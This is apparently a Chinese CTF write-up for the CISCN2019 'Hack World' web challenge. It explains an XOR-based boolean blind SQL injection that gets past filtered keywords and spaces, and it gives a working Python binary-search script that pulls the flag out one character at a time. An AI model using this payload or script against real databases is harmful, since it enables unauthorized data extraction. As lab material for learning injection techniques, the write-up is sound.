[CISCN2019 华北赛区 Day2 Web1]Hack World

打开题目就提示flag表在flag列
随便试了一下
id=1
Hello, glzjin wantsa girlfriend.
id=2
Do you want to be mygirlfriend?
发现得不到什么信息,猜测是布尔盲注
几次尝试后发现存在过滤,直接开始fuzz
发现or and union limit以及报错注入的函数被过滤,这里只能使用异或运算了

由于假^假 =真真^真=假假^真=真真^假=真,所以当我们查询 1^00^1、和 1 的回显是一样的,而查询 1^10^0却会有报错提示,所以我们可以构造0^payload,如果payload为真,则返回1,0^1=1,将得到回显Hello, glzjin wants a girlfriend
由于空格被过滤,我们这里使用括号包裹来代替分割,于是构造

1
0^(ascii(substr((select(flag)from(flag)),1,1))>1)

这里用到的substr()也不陌生了,属于是老生尝痰
substr(string string, int a, int b);string是需要截取的字符串,a是截取字符串的开始位置,b是要截取的字符串的长度
于是编写脚本,一个简单的二分查找:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import re
url='http://d65484fc-bfb0-423b-86f9-e8dcf855babd.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
break
print(flag)